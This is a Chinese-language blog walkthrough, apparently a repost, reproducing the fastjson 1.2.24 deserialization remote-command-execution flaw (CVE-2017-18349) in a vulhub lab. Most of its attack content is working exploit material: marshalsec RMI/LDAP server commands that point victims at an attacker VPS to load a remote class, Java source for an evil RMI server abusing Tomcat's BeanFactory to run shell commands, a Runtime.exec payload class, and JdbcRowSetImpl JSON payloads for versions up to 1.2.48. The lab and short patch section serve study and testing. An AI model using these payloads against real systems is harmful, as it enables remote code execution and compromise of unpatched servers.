当前位置:   article > 正文

fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)_fastjson<= 1.2.24 反序列化导致任意命令执行漏洞(cve-2017-18349)

fastjson<= 1.2.24 反序列化导致任意命令执行漏洞(cve-2017-18349)

漏洞原理

Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
FastJson中的 parse 和 parseObject方法都可以用来将JSON字符串反序列化成Java对象,parseObject 本质上也是调用 parse 进行反序列化的。但是 parseObject 会额外的将Java对象转为 JSONObject对象,JSON.toJSON。所以进行反序列化时的细节区别在于,parse 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。
在这里插入图片描述

影响

1、基于rmi的利用方式
适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
利用方式:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://vps:8080/test/#Exploit 9999
  • 1
  • 2

2、基于ldap的利用方式
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://VPS:8080/test/#Exploitt 9999
  • 1
  • 2

3、基于BeanFactory的利用方式
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后。
利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。
利用方式:

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);

    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

payload:

适用范围 版本 <= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
  • 1

适用范围 版本 <= 1.2.48

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}"
  • 1

复现

漏洞环境

使用vulhub环境:

docker-compose up -d

主机ip
靶机:ubuntu20192.168.237.138
攻击机:ubuntu20192.168.237.138
vps:ubuntu存放远程调用的rmi即exp192.168.237.128

(靶机和攻击机本应不同,但是这里使用的是vulhub的环境,本地访问容器只能是启动容器的主机,公网也使用本机模拟)

准备脚本

exp:需要编译成class字节码文件,放在vps上供靶机远程调用

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/test"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.255.128/#evilclass" 9999
  • 1

在这里插入图片描述
网站根目录存放exp。
在这里插入图片描述
访问漏洞链接,抓包改包。
修改请求方式为POST,Content-Type: application/json
data:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.255.128:9999/#evilclass",
        "autoCommit":true
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述
在这里插入图片描述
进入容器查看是否执行成功(exp在tmp目录下创建一个test文件)。
docker exec -it 容器id bash
在这里插入图片描述
漏洞利用成功。

修复

及时打上官方补丁;换用其他的json类。

参考链接

https://www.cnblogs.com/sijidou/p/13121332.html
https://www.freebuf.com/vuls/208339.html
https://zhuanlan.zhihu.com/p/151735318

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/923068
推荐阅读
相关标签
  

闽ICP备14008679号